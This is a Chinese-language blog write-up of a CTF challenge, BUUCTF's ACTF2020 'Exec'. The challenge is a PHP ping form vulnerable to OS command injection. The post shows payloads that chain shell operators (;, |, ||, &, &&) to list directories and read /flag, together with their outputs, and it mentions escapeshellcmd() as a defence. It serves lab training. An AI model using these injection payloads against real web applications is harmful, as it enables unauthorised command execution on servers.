

# BUUCTF-[ACTF2020 新生赛]Exec1

原创

[Monica](#) 于 2021-09-11 23:06:22 发布 577 收藏 2

分类专栏: [BUUCTF](#) 文章标签: [安全漏洞](#) [网络安全](#) [信息安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_46918279/article/details/120243396](https://blog.csdn.net/qq_46918279/article/details/120243396)

版权



[BUUCTF 专栏收录该内容](#)

20 篇文章 1 订阅

订阅专栏

目录

题目:

分析:

知识点:

方法:

方法1: ;前面和后面命令都要执行, 无论前面真假

方法2: | (就是按位或), 直接执行|后面的语句

方法3: ||如果前面命令是错的那么就执行后面的语句, 否则只执行前面的语句

方法4: &前面和后面命令都要执行, 无论前面真假

方法5: &&如果前面为假, 后面的命令也不执行, 如果前面为真则执行两条命令

注意:

---

题目:

# PING

请输入需要ping的地址

PING

CSDN @\_Monica\_

## 分析：

通过题目，以及这里执行的是ping命令。

# PING

请输入需要ping的地址

PING

PING www.baidu.com (14.215.177.38): 56 data bytes

CSDN @\_Monica\_

php模拟我们常用的DOS命令ping命令的方法，主要用到的是php的内置函数exec来调用系统的ping命令,从而实现ping命令功能的。从而想到通过exec函数来进行RCE。

## 知识点：

注意使用exec函数必须需要服务器支持调用系统内置函数才行。另外也可以使用system等php内置函数来实现这个功能

exec执行一个外部程序

执行给予的命令command，不过它并不会输出任何东西，它简单的从命令的结果中传回最后一行，如果你需要去执行一个命令，并且从命令去取得所有资料时，可以使用passthru()这个函数。

system--执行外部程式并且显示输出

system()执行给予的命令command，并且输出结果。如果有给予参数return\_var，则执行命令的状态码将会写到这个变量。

注意:如果你允许来自使用者输入的资料，可以传递到此函数，那么你应该使用escapeshellcmd()来确定此使用者无法哄骗(trick)系统来执行武断的(arbitrary)命令。

注意:如果你使用此函数来启动一个程式，而且希望在背景里(background)执行的时候离开它，你必须确定此程式的输出是转向(redirected)到一个文件或是一些输出的资料流，否则PHP将会悬挂(hang)直到程式执行结束。

## 方法:

;前面和后面命令都要执行，无论前面真假

|直接执行后面的语句

||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

&前面和后面命令都要执行，无论前面真假

&&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令

方法1: ;前面和后面命令都要执行，无论前面真假

## PING

```
127.0.0.1; ls
```

```
PING
```

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
index.php
```

CSDN@\_Morica\_

# PING

```
127.0.0.1; ls /
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
```

CSDN @ \_Monica\_

# PING

```
127.0.0.1; tac /flag
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag{a4f3c70b-f666-4513-b90e-1cc96df3a010}
```

CSDN @ \_Monica\_

方法2: | (就是按位或), 直接执行|后面的语句

# PING

```
a | tac /flag
```

PING

```
flag{a4f3c70b-f666-4513-b90e-1cc96df3a010}
```

CSDN @ \_Monica\_

# PING

```
127.0.0.1 | cat /flag
```

PING

```
flag{908a154b-d7f5-4a51-acfe-73286b98a5ad}
```

CSDN @\_Monica\_

方法3: ||如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

但是这里好像不用管

# PING

```
www.baidu.com || tac /flag
```

PING

```
PING www.baidu.com (14.215.177.38): 56 data bytes  
flag{a4f3c70b-f666-4513-b90e-1cc96df3a010}
```

CSDN @\_Monica\_

但是这样确实是只执行了后面的语句。

# PING

```
aaa || tac /flag
```

```
PING
```

```
flag{a4f3c70b-f666-4513-b90e-1cc96df3a010}
```

CSDN @\_Monica\_

方法4: &前面和后面命令都要执行，无论前面真假

# PING

```
aaa & tac /flag
```

```
PING
```

```
flag{a4f3c70b-f666-4513-b90e-1cc96df3a010}
```

CSDN @\_Monica\_

# PING

```
www.baidu.com & tac /flag
```

```
PING
```

```
flag{a4f3c70b-f666-4513-b90e-1cc96df3a010}  
PING www.baidu.com (14.215.177.38): 56 data bytes
```

CSDN @\_Monica\_

方法5: &&如果前面为假，后面的命令也不执行，如果前面为真则执行两条命令

这里没有显示flag。

# PING

```
www.baidu.com && tac /flag
```

PING

```
PING www.baidu.com (14.215.177.38): 56 data bytes
```

CSDN @\_Monica\_

# PING

```
aaa && tac /flag
```

PING

CSDN @\_Monica\_

## 注意：

此题虽然能解出flag，但是逻辑并不正确，希望自行在本地进行验证。